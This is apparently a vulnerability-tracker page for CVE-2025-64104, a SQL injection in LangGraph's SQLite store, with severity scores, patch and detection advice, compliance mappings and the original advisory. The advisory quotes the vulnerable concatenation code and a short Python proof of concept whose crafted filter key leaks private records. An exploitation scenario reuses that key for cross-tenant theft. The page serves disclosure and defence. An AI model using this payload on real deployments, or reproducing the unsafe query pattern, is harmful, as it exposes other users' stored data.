CVE-2025-64104: langgraph-checkpoint-sqlite: SQL Injection exposes database

GHSA-7p73-8jqx-23r8 HIGH PoC AVAILABLE CISA: TRACK*
Published October 29, 2025
CISO Take

If your LangGraph agents use SqliteStore with any user-supplied or externally-derived filter keys, you have a SQL injection that bypasses namespace isolation and leaks cross-tenant data. Patch to langgraph-checkpoint-sqlite 2.0.11 today — the fix is a one-line version bump. If you can't patch immediately, audit every SqliteStore.search() call and enforce a strict allowlist on filter keys before they reach the store.

What is the risk?

Effective risk is HIGH in multi-user or multi-tenant LangGraph deployments, but scope is narrow. The CVSS AV:L vector understates real-world exposure: in web-facing agent apps, user input can reach filter keys indirectly. The PoC is trivial — no ML knowledge required, just Python. The critical condition is whether filter keys are ever derived from untrusted input. Organizations using SqliteStore in single-user or internal-only tooling with static filter keys are not exposed. Anyone running multi-tenant LangGraph agents with user-configurable memory/state filtering should treat this as critical.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
LangGraph pip <= 2.0.10 2.0.11
35.3K 3.3K dependents Pushed 4d ago 80% patched ~3d to patch Full package profile →

Do you use LangGraph? You're affected.

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 6% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Local
AC Low
PR Low
UI None
S Changed
C High
I Low
A None

What should I do?

5 steps
  1. PATCH

    Upgrade langgraph-checkpoint-sqlite to 2.0.11+. This is the only complete fix.

  2. WORKAROUND (if patching is delayed): Implement a strict allowlist of permitted filter keys at the application layer before any call to SqliteStore.search(). Reject or sanitize any key not in the allowlist.

  3. AUDIT

    Search your codebase for all calls to store.search() or SqliteStore usage and trace the origin of every filter key — flag any path where keys could originate from user input, LLM output, or external APIs.

  4. DETECTION

    Enable SQLite query logging if available, or wrap SqliteStore calls with parameter validation middleware that alerts on keys containing SQL metacharacters (quotes, parentheses, operators).

  5. VERIFY

    After patching, confirm the fix by running the published PoC in a test environment — the injected query should return only the expected documents, not private ones.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
6.1.2 - AI Risk Assessment 8.4 - AI System Operation
NIST AI RMF
MANAGE-2.2 - Mechanisms to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure LLM03:2025 - Supply Chain

Frequently Asked Questions

What is CVE-2025-64104?

If your LangGraph agents use SqliteStore with any user-supplied or externally-derived filter keys, you have a SQL injection that bypasses namespace isolation and leaks cross-tenant data. Patch to langgraph-checkpoint-sqlite 2.0.11 today — the fix is a one-line version bump. If you can't patch immediately, audit every SqliteStore.search() call and enforce a strict allowlist on filter keys before they reach the store.

Is CVE-2025-64104 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-64104, increasing the risk of exploitation.

How to fix CVE-2025-64104?

1. PATCH: Upgrade langgraph-checkpoint-sqlite to 2.0.11+. This is the only complete fix. 2. WORKAROUND (if patching is delayed): Implement a strict allowlist of permitted filter keys at the application layer before any call to SqliteStore.search(). Reject or sanitize any key not in the allowlist. 3. AUDIT: Search your codebase for all calls to store.search() or SqliteStore usage and trace the origin of every filter key — flag any path where keys could originate from user input, LLM output, or external APIs. 4. DETECTION: Enable SQLite query logging if available, or wrap SqliteStore calls with parameter validation middleware that alerts on keys containing SQL metacharacters (quotes, parentheses, operators). 5. VERIFY: After patching, confirm the fix by running the published PoC in a test environment — the injected query should return only the expected documents, not private ones.

What systems are affected by CVE-2025-64104?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LangGraph state persistence, multi-tenant agent deployments, conversational memory stores, LangGraph checkpoint backends.

What is the CVSS score for CVE-2025-64104?

CVE-2025-64104 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.16%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLangGraph state persistencemulti-tenant agent deploymentsconversational memory storesLangGraph checkpoint backends

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0085 Data from AI Services

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: 6.1.2, 8.4
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM02:2025, LLM03:2025

What are the technical details?

Original Advisory

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

Exploitation Scenario

An adversary using a multi-tenant LangGraph application — such as a shared AI assistant platform or a RAG agent with per-user memory — crafts an API request where the filter key contains a SQL fragment: access') = 'public' OR '1'='1' OR json_extract(value, '$.. The application passes this key directly to SqliteStore.search(), which concatenates it into a raw SQL query. The injected condition evaluates to TRUE for all rows, bypassing the intended namespace filter and returning all stored agent states, user memories, and checkpoint data across every tenant. The attacker iterates over namespaces, extracting sensitive business context, PII, API keys, or conversation history stored in agent memory — all with a single HTTP request requiring only a standard user account.

Weaknesses (CWE)

CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'): The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Timeline

Published
October 29, 2025
Last Modified
October 29, 2025
First Seen
March 24, 2026

Related Vulnerabilities